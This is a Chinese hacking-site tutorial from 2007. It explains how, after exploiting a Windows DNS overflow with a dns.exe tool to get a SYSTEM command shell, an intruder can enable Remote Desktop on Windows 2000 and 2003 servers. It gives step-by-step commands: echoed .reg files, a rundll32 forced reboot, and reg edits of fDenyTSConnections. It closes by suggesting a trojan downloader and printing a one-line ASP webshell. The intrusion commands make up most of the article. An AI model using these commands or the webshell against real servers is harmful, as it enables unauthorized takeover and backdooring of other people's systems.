服安最新信息资讯
- 黑客技巧:提权技术研究_Discuz!管理
- 黑客攻防之全程追踪入侵JSP网站服
- 教你怎样利用oracle得Shell
- 我在入侵渗透中用过的三则VBS代码
- 将MYSQL读写权限转化为system权限
- Mysql入侵提权 打造全功能MYSQL入侵

服安资讯热点推荐
- 教你如何通过Mysql弱口令得到系统权
- 浅谈数据库的攻击
- MySQL提权简单方法
- DNS欺骗技术方法
- PHP注入+MYSQL=SYSTEM权限
- 网站入侵:cookie技术与欺骗
- 将MYSQL读写权限转化为system权限
- 利用windows自带功能做永不被查杀
- 黑客入侵万象服务器的方法
- JSP+Oracle SQL Injection之旅
- 黑客网吧入侵所用到的命令与技巧
- 入侵时隐藏自己的真正身份
- SQL注入攻击零距离
- 浅谈CMD下开启远程桌面服务
- mix.dll提权常用,mysql提权
- 使用arp欺骗来嗅探交换机环境
- Mysql入侵提权 打造全功能MYSQL入侵
- 我在入侵渗透中用过的三则VBS代码
服安资讯阅览排行
- 使用arp欺骗来嗅探交换机环境
- 浅谈CMD下开启远程桌面服务
- JSP+Oracle SQL Injection之旅
- 我在入侵渗透中用过的三则VBS代码
- sql server 2005注入技巧集
- 利用DedeCms最新漏洞入侵网站
- 黑客入侵万象服务器的方法
- PHP注入+MYSQL=SYSTEM权限
- 黑客技巧:提权技术研究_Discuz!管理
- 教你如何通过Mysql弱口令得到系统权
- PHP主机如何利用MYSQL提权
- 教你怎样利用oracle得Shell
- 解析Asp.Net木马文件操作
- 三步堵死SQL注入漏洞
- SQL注入技术和跨站脚本攻击的检测
- Mysql入侵提权 打造全功能MYSQL入侵
信息安全法律法规
- 信息安全等级保护管理办法
- 广东省计算机信息系统安全保护条
- 中国国家信息安全等级保护制度开
- 欧盟网络和信息安全法律规制及其
- 互联网电子公告服务管理规定
- 互联网上网服务营业场所管理条例
- 浪潮服务器安全技术要求成为国家
- 计算机信息网络国际联网安全保护
服务器安全技术资讯
- 深入挖掘Oracle内部SQL注入
- 什么是MPLS中的FEC?
- 如何让域控DC的AD更加安全
- 实例:Linux中如何查看服务及监听端
- 服务器安全检查十大要素
- 什么叫0day?0day是什么?
- Windows 2003下如何提高FSO安全性
- 计算机网络安全的六大指标详述
服安解决方案
浅谈CMD下开启远程桌面服务
来源:中国服务器安全网 时间:2007-09-28 作者:匿名 点击:次 责任编辑:Flyfox
TAG:
开启
CMD
远程桌面服务
服务器安全应急处理中心:让您的服务器更安全! 进入安全讨论社区
摘要:
近段时间微软出现的DNS溢出漏洞疯狂了一段时间,就是现在也还有许多服务器可以成功溢出。但是当我们溢出成功后,返回得到的就只有一个system权限的cmdshell……

浅谈CMD下开启远程桌面服务
一、缘起
近段时间微软出现的DNS溢出漏洞疯狂了一段时间,就是现在也还有许多服务器可以成功溢出。相信大家都有体验过溢出的经验了吧,嘿嘿。但是当我们溢出成功后,返回得到的就只有一个system权限的cmdshell。要是服务器开启了远程桌面服务,那我们直接加一个用户,再添加进管理员组,就可以登录服务器了。这样的话,拿下存在DNS溢出的服务器只是分秒间的事情。从溢出到得到服务器控制权花不了多少时间。不过,要是服务器本身没有开启远程桌面服务,就相对来说比较麻烦一点了。话虽如此,服务器本身没开,那我们就帮它开嘛,嘿嘿。
二、理论
在只有一个cmdshell的情况下,可能有不少菜菜不知道如何开启远程桌面服务。不过如果对远程桌面服务比较了解的话,应该知道开启它其实主要就是修改了注册表的某些键值来实现的。如何在cmdshell下修改注册表相关键值呢?根据系统的不同,方法也有些出入。Windows2000的服务器开户远程桌面服务一般都需要重启一次才能生效,Windows2003的服务器开启远程桌面服务就一般都不需要重启,直接更改注册表相关键值即可生效! 据网上的资料来看,基本上都是先echo一个*.reg注册表文件,再使用regedit /s *.reg命令导入注册表文件即可,当然2000的话还需要重启才生效。
三、实践
理论总是理论,不实践过永远都只能是理论。所以我们找了些可以DNS溢出的服务器来做试验,其中有2000系统的也有2003系统的,分别详细说明——如何在cmdshell下开启服务器的远程桌面服务。
1、2000系统
简要说一下如何进行DNS溢出攻击。我用的溢出利用程序是dns.exe,在CMD下运行它可以看到它的使用参数等信息。执行"dns -s IP"命令检测目标IP是否存在DNS溢出漏洞。在图中我们可以看出目标主机存在DNS溢出漏洞,操作系统为Windows 2000!接着我们进行溢出攻击,执行"dns -t 2000all IP 1207"后提示要我们检测返回的1100端口的shell。"telnet IP 1100"成功得到返回的cmdshell。注意目录为c:\WINNT\system32,顶部也明显可以看到Windows 2000相关字样。接着我们需要做的是使用"echo"命令写入一个3389.reg注册表文件。将如下代码一行一行地复制到cmdshell窗口后按回车执行:
echo Windows Registry Editor Version 5.00 >3389.reg
echo. >>3389.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>3389.reg
echo "Enabled"="0" >>3389.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>3389.reg
echo "ShutdownWithoutLogon"="0" >>3389.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] >>3389.reg
echo "EnableAdminTSRemote"=dword:00000001 >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>3389.reg
echo "TSEnabled"=dword:00000001 >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>3389.reg
echo "Start"=dword:00000002 >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService] >>3389.reg
echo "Start"=dword:00000002 >>3389.reg
echo [HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle] >>3389.reg
echo "Hotkey"="1" >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>3389.reg
echo "PortNumber"=dword:00000D3D >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>3389.reg
echo "PortNumber"=dword:00000D3D >>3389.reg
简单说明一下,">"符号是覆盖写入文件,如无此文件则创建,有则覆盖原来的内容写入。">>"是追加写入,即在原有文件内容的基础上在后面写入内容。这里是写入内容到3389.reg文件中!需要注意的是第二行,那个作用是写入一行空格,至于为什么需要这样,那是因为. reg文件的格式必须如此!成功写入完毕后接着执行导入操作,执行"regedit /s 3389.reg"。这样注册表文件就已经顺利导入到注册表里去了。不过需要注意的是在cmdshell下不要输错任何一个字符,否则将无法执行,建议先自己打好在记事本上,确保无误之后再复制到cmdshell窗口执行。然后需要做的事就是重启了,如何使目标服务器重启呢?和朋友多方测试后,觉得用下面这个方法比较妥当。在cmdshell下执行如下代码:
@ECHO OFF & cd/d %temp% & echo [version] > {out}.inf
(set inf=InstallHinfSection DefaultInstall)
echo signature=$chicago$ >> {out}.inf
echo [defaultinstall] >> {out}.inf
rundll32 setupapi,%inf% 1 %temp%\{out}.inf
按顺序将以上五行代码一行一行地复制到cmdshell上,复制完一行按一次回车执行,五行都执行完毕后,服务器就会重启的了。至于原理什么的我就不废话了。当然了,让服务器重启的方法比较多,比如结束掉系统关键进程、代码模拟按键等都是可以的,不过个人认为上面推荐的这个方法比较保险!如无意外,等待服务器完成重启之后再连接目标发现远程桌面服务已经成功开启了。至此Windows 2000操作系统溢出后返回的cmdshell下开启远程桌面服务就成功完成了。
2、2003系统
相对于2000的系统来说,2003cmdshell下开启远程桌面服务就比较容易一些了,起码无需重启嘛!第一种方法也是用"echo"命令写入一个 3389.reg文件,再"regedit /s 3389.reg"导入注册表文件即可开启,比较简单,与上面介绍的2000的开启方法类似。将如下代码一行一行地复制到cmdshell窗口后按回车执行:
echo Windows Registry Editor Version 5.00 >3389.reg
echo. >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>3389.reg
echo "fDenyTSConnections"=dword:00000000 >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>3389.reg
echo "PortNumber"=dword:00000d3d >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>3389.reg
echo "PortNumber"=dword:00000d3d >>3389.reg
完成以上操作后再执行"regedit /s 3389.reg"导入即可生效!不过这个方法相对来说比较麻烦,也比较复杂一些。我们还可以用另外一种比较简单的方法来开启远程桌面服务的,嘿嘿。在介绍另一个操作方法之前,我们先来熟悉下2003系统下远程桌面服务的一个最关键的注册表键值。
在"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server"
下数值名称为"fDenyTSConnections"的这一项,可以看到它的数值数据为1或0。数值为1的时候关闭远程桌面服务,数值为0的时候开启远程桌面服务。换句话说,我们只要可以在cmdshell下更改这个关键的注册表键值数据就可以达到实现开启远程桌面服务的目的了!有幸的是,在 2003下有一个"reg"命令完全可以做到这一点,嘿嘿。这里我们找一台操作系统为2003的服务器,通过和上面介绍的同样方法溢出后返回一个 cmdshell。当我们尝试连接的时候会发现根本无法连接上去。下面详细说明一下用"reg"命令开启远程桌面服务。执行:
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server"
我们发现"fDenyTSConnections"键值数据为"0x1"。这个是十六进制数的1。上面提到,数据为1则没有开启远程桌面服务。我们要做的就是把"0x1"改成"0x0"!直接用"reg add"是不行的,必须把原来键值删掉再添加!在cmdshell下执行:
reg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
会询问是否"要删除注册表值 fDenyTSConnections 吗",当然Yes了。再执行:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0
提示操作成功完成,如图9。这样就把"fDenyTSConnections"的值改为"0x0"了,我们可以执行:
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server"
我们可以查看一下,看看是不是真的改掉了,发现已经成功更改了数据。现在再来连接服务器的3389看看,发现已经可以成功连接上了,加个用户进去参观咯。至此2003下cmdshell开启远程桌面服务的方法也介绍完了。
四、其他
当然了,溢出后也不一定要非要在cmdshell下开启远程桌面服务。可以echo个vbs文件,下载远程控制木马,然后在cmdshell里运行一下木马,上线就OK了。还有就是可以查询一下目标IP是否绑定有网站,然后找到网站目录,再用echo个一句话木马进去(命令是:echo "<%execute request("cmd")%>" >WEB路径\test.asp),然后提交大马呀,上传开3389的工具再开启也行!总之方法不只一个,能达到目的就是好方法
上一篇:解析Asp.Net木马文件操作 下一篇:使用arp欺骗来嗅探交换机环境
相关文章列表
- 黑客技巧:提权技术研究_Discuz!管理
- 黑客攻防之全程追踪入侵JSP网站服
- 教你怎样利用oracle得Shell
- 我在入侵渗透中用过的三则VBS代码
- 将MYSQL读写权限转化为system权限
- Mysql入侵提权 打造全功能MYSQL入侵
- 对mysql提权一些总结
- MySQL提权简单方法
- PHP主机如何利用MYSQL提权
- PHP注入+MYSQL=SYSTEM权限
- mix.dll提权常用,mysql提权
- 教你如何通过Mysql弱口令得到系统权
- 入侵时隐藏自己的真正身份
- 黑客入门必须掌握8个DOS命令
- 黑客知识:简单识别服务器操作系统
- 利用DedeCms最新漏洞入侵网站
- 黑客入侵万象服务器的方法
- 入侵宝典 用SlimFTP将肉鸡改为私人服
- SQL注射修改难猜解的MD5
- 黑客攻破SQL服务器系统的十种方法
- Microsoft SQL Server SA权限最新入侵方法
- 记一次成功入侵Solaris服务器(sun)
- 网络安全教程:木马是怎样攻入E
- SQL注射原理超浓缩简单篇


RSS订阅






